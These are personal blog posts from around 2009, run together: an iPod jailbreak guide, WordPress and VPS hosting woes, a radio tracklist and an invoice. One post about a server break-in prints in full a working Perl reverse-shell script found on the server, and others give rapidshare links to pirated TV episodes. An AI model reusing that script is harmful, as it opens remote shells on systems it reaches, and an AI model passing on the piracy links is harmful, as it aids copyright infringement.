How to “jailbreak” your Ipod touch 2G:

Step 0: Get the official 3.0 firmware, without it will not work. You need to “restore” your Ipod touch 2G to the latest firmware.
You can either “buy” it on iTunes or “download” it (for free) from Apple’s website.
You would do so by going to http://www.felixbruns.de/iPod/firmware/ and using the second drop-down menu to “get the 3.0 firmware”. This will be downloaded from Apple’s website, not Felix’ (so no worries).

Step 1: Download redsn0w from any Dev-Team blog link or the link above (it is the 1-to-1 carbon copy of their file and has not been “funked with”). Dev-Team? Yes, the guys providing the redsn0w (http://blog.iphone-dev.org)

Step 2: Extract the files and put them into a folder on your desktop called redsnow (or whatever you like)

Step 3: Locate your IPSW file for 3.0. It should be located at
C:\Users\*USERNAME8\AppData\Roaming\Apple Computer\iTunes\iPod Software Updates (or any download folder if you downloaded it).

Step 4: Copy this file into the redsnow folder on your desktop

Step 5: Put your iPod into DFU mode and connect it to iTunes. To enter DFU mode, turn your ipod off and then hold the lock and home button for 10 seconds, then let go of the lock button while holding the home button. iTunes should say your ipod is in DFU mode an needs to restore, just ignore it and move on to step 6

Step 6: Drag the IPSW onto redsn0w.exe

Step 7: Let it do its thing

Step 8: Enjoy, you are done. This takes under 2 minutes (max).

Note: if it ever freezes or shuts down. Just unplug, reset (hold both buttons), and try again.

(This nine step how-to was adapted from http://www.ipodtouchfans.com/forums/showthread.php?t=203161)

Good Luck!

So I hardened my wordpress by means of playing around CentOS usergroups and permissions and I was able to get the upload and cache folder to work with quite restrictive permissions (755 as the worst). Hopefully this will take care of the past security issues…

Anyhow, using the “automatic upgrade” function within wordpress I stumbled upon the “highly praised” WordPress 2.8 version (2.8-beta1-11402) and frankly it is doing “shit at all” but not displaying “pages” anymore (posts are fine). I suspect it has to do with changes in the theme terminology, but then again, why is it working on “posts” all fine? I am reverting, or at least trying to revert. The last “major issue” I have had with WordPress was the switch from 2.6 to 2.7.4… my advise: keep your fingers off betas if you can. There are not, as the devs say, for public use in open, active, systems.

I have some themes lined up, alongside the changes I mentioned above, but still exams till 2^nd of June, 09. Gah…

This episode of The Office is S05E21 and called “The Michael Scott Paper Company”.
Michael hosts a Paper & Pancakes luncheon for his new company. Dwight and Andy pair up for a hunting trip, while Jim is confused when a “rundown” is requested by Charles.

Download The Office S05E21 The Michael Scott Paper Company via rapidshare.com

UPDATE

http://rapidshare.com/files/219503448/The.Office.S05E21.HDTV.XviD-LOL.part1.rar

http://rapidshare.com/files/219503398/The.Office.S05E21.HDTV.XviD-LOL.part2.rar

Dwight (Rainn Wilson) and Andy (Ed Helms) strike up an unlikely friendship and plan a hunting trip. Regional Supervisor Charles (Idris Elba) asks Jim (John Krasinski) for a “rundown”, and Jim spends his day trying to figure out what that is. Michael (Steve Carell) hosts a Paper & Pancakes luncheon. Kelly (Mindy Kaling) competes with the new receptionist Kelly “Erin” Hannon (Ellie Kemper).

Source: wiki
Note: not my links, this 175MB links was taken from third party sites

Quite simple, today is the 9th of April and it was aired around the 8th of April – the long awaited start of the new season (season seven) will just have to wait for one or two more days.

There is no way you can get Mythbusters S07E01 via rapidshare.com or torrent right now: we had to wait since late August November and it has been long, so what are one or two more days of waiting?

UPDATE:

http://rapidshare.com/files/219195559/MS07E01.part1.rar

http://rapidshare.com/files/219195423/MS07E01.part2.rar

http://rapidshare.com/files/219195936/MS07E01.part3.rar

http://rapidshare.com/files/219195401/MS07E01.part4.rar

not my links!

Last time this sort of odd situation occured was way back in 2003 when I had my h4x3d.com website(s) hosted in Germany. People were clueless, but level3 administrators figured it out. WordPress requires some folders to be CHMODDED to 777, read,write, execute all access basically. One of those folders is the wp-content/upload folder. Different programmes, because not only wordpress is to “blame”, such as coppermine require similar settings for full functionality.

Anyway – someone from switzerland (bless the logs) had uploaded a perl script to one of the domains and was running excessive ssh scans. This was also why the VPS slowed down and became unresponsive. Since I was not able to restart it manually, I got in contact with my new VPS support at SolarVPS – they identified the scans and with my CHMOD 777 clue dropped in, some rootkit scans and other audits they were able to chuck out those unwanted visitors and files within an hour.

This is frankly speaking a support everyone is looking for. At zone.net one had varying support quality due to apparent offshoring of support to people that had no clue and merely redirected requests to the level3 techs. It seems like level3 techs reside at solarvps, else I wonder how they were able to almost instantianiously sort out my problems. I will have to find a solution to the upload folder problem, eventually move it outside the httpdocs? Any advice or comments?

Below you find one of the scripts that was used to call home and cause havoc, I believe this is only the “gateway” and “door opener” for more destructive commands to be executed:

c.txt
#!/usr/bin/perl
use Socket;
$cmd="lpd";
$system='/bin/sh -i';
$0=$cmd;
$target=$ARGV[0];
$port=$ARGV[1];
$iaddr=inet_aton($target) || die("Error: $!\n");
$paddr=sockaddr_in($port, $iaddr) || die("Error: $!\n");
$proto=getprotobyname('tcp');
socket(SOCKET, PF_INET, SOCK_STREAM, $proto) || die("Error: $!\n");
connect(SOCKET, $paddr) || die("Error: $!\n");
open(STDIN, ">&SOCKET");
open(STDOUT, ">&SOCKET");
open(STDERR, ">&SOCKET");
system($system);
close(STDIN);
close(STDOUT);
close(STDERR);

I have ten invites, so leave a comment and I will send you one!

Solar VPS - Green hosting

Today I have received an email from Sean at zone.net stating that effective from four months now onwards all VPS (Virtual Private Server) business will be transfered to SolarVPS.

Sean speaks very highly of SolarVPS’ CEO and managing director and excuses for the “crap” level of support that zone.net customers had to endure in the past few months.

The official press release can be found on Solar VPS’ news section. Being transparent about communication is one of the major pillars of decent business – “I like”.

Some famous highlights include the multi-day downtime due to some failure and a for-ages taking check-disk (from 11:48 AM EST(11/7/2008) to 7:19 PM EST (11/9/2008), where as it would be more like 9am to 8pm, frankly)

Also some minor, less exciting downtimes of twelve to twenty hours recently can be recalled by some of you.

My phone-calls to the 001 yank-hotline have been answered but greeted with massive unfriendliness and really low level of knowledge stating “we are aware that our sites (cough and yours) are currently unavailable”.

I am curious what the time at SolarVPS will bring – the mail sent by Sean listed an email address by which management might be contacted directly.

If SolarVPS prolong zone.net’s sponsorship agreement I would be keen to give them a ride.

In the meantime, if you have any other recommendations or comments, feel free to contact me.

Oh- and the new site is coming, I am currently just looking into a way to politely tell IE6 visitors (still 26% over the past few months) to upgrade or switch.

Having worked in a major PR company in the last six month and having experienced the (probably worst) “almost” over-sea like IT support, I see the problems with upgrading, however believe it should be able to replace a seven year old piece of software with something newer (IE7, IE8 beta, Firefox, Opera, Safari, etc).

The latest show featured the following tracks:

NASA – ‘Money (Dungeon Count Mix)’ (Anti)
Far Too Loud – ‘All Is Machine’ (Funkatech)
Rusko – ‘Cockney Thug’ (Sub Soldiers)
Beat Assassins – ‘Generation MTV (Plaza De Funk Remix)’ (Mofo)
Vent – ‘Deft Ode’ (Hardcore Beats)
Soul of Man – ‘Dirty Water’ (Fingerlickin’)
Qemists feat Wiley – ‘Dem Na Like Me’ (Ninja Tune)
Boy Better Know – ‘Too Many Man’ (Boy Better Know)
DJ Icey – ‘Ride Out’ (Zone)
Stanton Warriors – ‘Get Wild (Deekline & Wizard Remix’ (Punks)
Plump DJ’s – ‘Shifting Gears (Stanton Warriors Mix)’ (Fingerlickin’)
Rogue Element– ‘Hive’ (Execptional)

Cassette Jam Mix
Cassette Jam – ‘Spaghetti Intro’
Cozy Powel – ‘Dance with the Devil (Rory’s Cassette Jam Re Edit)’
The Lotter Boys – ‘Heroine’
Invaders
Prince – ‘Hot Thing’
Mr Oizo – ‘Cut Dick’
Modeslektor – ‘Sucker Pin’
Jamie Liddell – ‘Feel Good (Accapella)’
Cassette Jam – ‘Retox (Arveene & Misk Remix)’
Slyde – ‘Sex & Drugs (Accapella)’
Hot Pink DeLorean – ‘Party Favour’
Herbie Hancock – ‘Rock It!’
Boys Noize – ‘Lets Buy Happiness’
Kano – ‘It’s A War (Serge Re Edit)’
Tiga – ‘Mind Dimension’
Zombie Nation – ‘Forza’
Tiga – ‘Sunglasses at Night (D.I.M. Remix)’
Digitalism – ‘Home Zone (Proxy Remix)’
Cassette Jam – ‘Don’t Lose Control’
The Presets – ‘My People’
Death From Above 1979 – ‘Romantic Rights’
Dizzee Rascal – ‘Fix Up, Look Sharp’
Daft Punk – ‘Da Funk’
L.S.D. (Rory’s Cassette Jam Re-Edit)

6:30 Classic
Krafty Kuts & A Skillz – ‘Happiness’ (Fingerlickin’)
Slyde – ‘Kiss Kiss Bang Bang (Twocker Remix)’ (Fingerlickin’)
DJ Q & MC Bonez – ‘You Wot! (Wideboys Remix)’ (Ministry Of Sound)
Lily Allen – ‘F You’ (EMI)
Empire Of The Sun – ‘Walking On A Dream’ (Virgin)
Royksopp – ‘Happy Up Here’ (Wall Of Sound)
The Ting Tings – ‘We Walk’ (Columbia)
Lady Sovereign – ‘So Human’ (Midget Records)

While I caught it on the radio I did not record it via line-in.
I could re-listen to it again online but have no wave-recording solution on my mac.
I use amadeus to record mic and line-in audio.
Any suggestions on the wave-recording on mac os x?

Dear jez h4x3d.com,
This is a notice that an invoice has been generated on 23/01/2009.

Your payment method is: PayPal

Invoice #2739
Amount Due: $5.00 USD
Due Date: 06/02/2009
Invoice Items

Themes Club (06/02/2009 – 05/02/2010) $5.00 USD
——————————————————
Sub Total: $5.00 USD
Credit: $0.00 USD
Total: $5.00 USD
——————————————————

You can login to your client area to view and pay the invoice at http://www.wpdesigner.com/clients/viewinvoice.php?id=2739

(Please do not reply to this email. This message was automatically generated by Wpdesigner.com‘s support system.)

Wpdesigner Support

http://www.wpdesigner.com/clients/

- what the hell?
SP is a nice guy but the dude that bought out his domain is a complete idiot: not doing crap at all on the site for a proper year or even longer period and now even his “new owner” post is gone. I wonder what is going on.